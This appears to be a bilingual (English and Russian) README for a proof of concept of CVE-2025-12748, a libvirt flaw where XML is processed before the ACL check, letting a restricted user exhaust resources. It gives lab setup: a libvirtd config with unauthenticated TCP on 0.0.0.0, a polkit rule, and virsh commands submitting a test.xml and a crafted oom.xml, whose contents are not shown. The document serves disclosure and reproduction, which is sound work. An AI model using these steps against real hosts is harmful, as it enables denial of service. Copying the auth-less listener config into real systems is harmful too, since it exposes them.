teresh1/cve-2025-12748Proof of concept for CVE-2025-12748, a denial-of-service vulnerability in libvirt XML processing that bypasses ACL checks, allowing resource exhaustion.
An issue was discovered in the XML file processing procedure.
The processing of the file's content is performed before the ACL check. This allows a user with limited permissions to submit a specially crafted XML file that can cause too much resource consumption, leading to a potential denial-of-service (DoS) attack.
apt-get install libvirt libvirt-kvm libvirt-qemu
gpasswd -a user vmusers
systemctl enable --now libvirtd
listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
listen_addr = "0.0.0.0"
unix_sock_group = "vmusers"
auth_tcp = "none"
access_drivers = ["polkit"]
min_workers = 1
max_workers = 1
prio_workers = 1
admin_min_workers = 1
admin_max_workers = 1
log_outputs="1:file:/var/log/libvirt/libvirtd.log"
log_level = 1
/etc/polkit-1/rules.d/50-libvirt-user.rules):polkit.addRule(function(action, subject) {
polkit.log("action=" + action);
polkit.log("subject=" + subject);
if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
subject.user == "user") {
return polkit.Result.NO;
}
else {
return polkit.Result.YES;
}
})
systemctl restart libvirtd polkitAttempting to access libvirt with a valid XML file:
virsh --connect qemu://system define ./test.xml
The following error will be received:
error: Failed to define domain from ./test.xml
error: access denied: access denied "QEMU"
And the corresponding polkit log:
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
Attempting to access libvirt with a malicious XML file:
virsh --connect qemu://system define ./oom.xml
The log will be empty due to the server hanging, and increased resource consumption by libvirtd can be observed in top.
Обнаружена проблема при обработке xml-файла.
Обработка содержимого файла выполняется до проверки ACL. Это позволяет пользователю с ограниченными правами отправить специально сформированный XML-файл, который может вызвать чрезмерное потребление ресурсов, что приводит к потенциальной атаке типа "отказ в обслуживании" (DoS).
/etc/libvirt/libvirtd.conf заменить текст на:listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
listen_addr = "0.0.0.0"
unix_sock_group = "vmusers"
auth_tcp = "none"
access_drivers = ["polkit"]
min_workers = 1
max_workers = 1
prio_workers = 1
admin_min_workers = 1
admin_max_workers = 1
log_outputs="1:file:/var/log/libvirt/libvirtd.log"
log_level = 1
/etc/polkit-1/rules.d/50-libvirt-user.rules):polkit.addRule(function(action, subject) {
polkit.log("action=" + action);
polkit.log("subject=" + subject);
if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
subject.user == "user") {
return polkit.Result.NO;
}
else {
return polkit.Result.YES;
}
})
systemctl restart libvirtd polkitОбращение к libvirt с валидным xml-файлом:
virsh --connect qemu://system define ./test.xml
Будет получена ошибка:
ошибка: Не удалось создать описание домена на основе ./test.xml
ошибка: доступ запрещен: доступ запрещен "QEMU"
И соответствующий лог polkit:
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
Обращение к libvirt с вредоносным xml-файлом:
virsh --connect qemu://system define ./oom.xml
Лог будет пустой из-за зависания сервера, в top можно проконтролировать увеличение потребляемых ресурсов libvirtd.